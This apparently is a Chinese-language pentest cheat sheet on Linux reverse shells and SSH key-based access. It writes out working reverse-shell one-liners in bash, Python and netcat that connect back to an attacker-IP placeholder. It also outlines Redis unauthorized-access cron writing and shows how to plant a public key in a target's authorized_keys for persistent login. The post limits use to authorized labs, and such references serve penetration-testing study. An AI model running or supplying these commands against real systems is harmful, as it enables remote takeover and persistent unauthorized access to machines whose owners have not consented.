Linux 反弹 Shell 与 SSH 免密速查

整理常见反弹 Shell、SSH 公钥认证和交互式终端优化命令,作为内网学习时的快速参考。

  • #Linux
  • #反弹 Shell
  • #SSH
  • #内网渗透

一、反弹 Shell 基础

反弹 Shell 是目标机主动向控制端发起连接,把 Shell 输入输出转发到该连接中,常用于目标无法被外部直接连接的场景。

控制端先监听端口:

nc -lvnp 4444

参数含义:-l 监听、-v 显示详细信息、-n 不解析 DNS、-p 指定端口。

二、常见方式

下面的 <攻击机IP> 和 4444 需要替换为自己的实验环境配置。

Bash

/bin/bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1

Python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Netcat

目标环境中的 nc 如果支持 -e,可以使用:

nc -e /bin/bash <攻击机IP> 4444

不同发行版的 Netcat 参数可能不同,-e 不一定存在。

三、Redis Cron 方式中的反弹 Shell

在合法靶场中,Redis 未授权访问可能被用于写入 Cron。连接 Redis 的示例:

redis-cli -h <目标IP>

随后根据目标系统的 Cron 路径和格式进行验证。Cron 路径、Redis 运行权限和出站网络都需要先确认,不能直接套用固定路径。

四、SSH 公钥免密登录

1. 生成密钥对

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519

如果文件已存在,可以选择新的文件名,或者先确认不会覆盖已有私钥。

2. 自动部署公钥

ssh-copy-id -i ~/.ssh/id_ed25519.pub <用户>@<目标IP>

执行后输入一次目标账户密码,工具会自动把公钥追加到目标用户的 ~/.ssh/authorized_keys。然后验证:

ssh -i ~/.ssh/id_ed25519 <用户>@<目标IP>

ssh-copy-id 需要目标 SSH 已开启,并且当前已经有一次可用的登录凭证。它不是绕过 SSH 认证的工具。

3. 手动添加公钥

先在控制端查看公钥:

cat ~/.ssh/id_ed25519.pub

在目标机已有 Shell 的前提下,创建目录并追加公钥。将下面的占位内容替换为整行公钥:

mkdir -p ~/.ssh
printf '%s\n' 'ssh-ed25519 AAAA...你的公钥... comment' >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

检查文件内容:

tail -n 1 ~/.ssh/authorized_keys

再回到控制端验证登录:

ssh -i ~/.ssh/id_ed25519 <用户>@<目标IP>

SSH 公钥认证的准确理解是:私钥用于签名,服务器使用公钥验证签名,而不是简单的“公钥加密、私钥解密”。

五、交互式终端优化

部分反弹 Shell 缺少 Tab 补全和快捷键,可以在目标环境支持 Python 时尝试:

python3 -c 'import pty; pty.spawn("/bin/bash")'

再根据终端情况恢复交互:

stty raw -echo; fg
export TERM=xterm

六、小 Tips

  • 先确认监听地址、端口和网络方向,很多失败不是命令错误,而是目标无法连接控制端。
  • Bash 的 /dev/tcp、Python、Netcat 是否可用,取决于目标环境中的组件和编译选项。
  • 反弹 Shell 和 SSH 免密是两类不同能力:前者依赖主动连接,后者依赖密钥认证。
  • 只在自己拥有权限的靶场、实验机或授权测试环境中验证这些命令。

使用工具

Netcat

用于监听反弹连接,或在目标环境具备相应参数时建立连接。

OpenSSH

用于生成密钥、部署公钥并验证 SSH 密钥认证。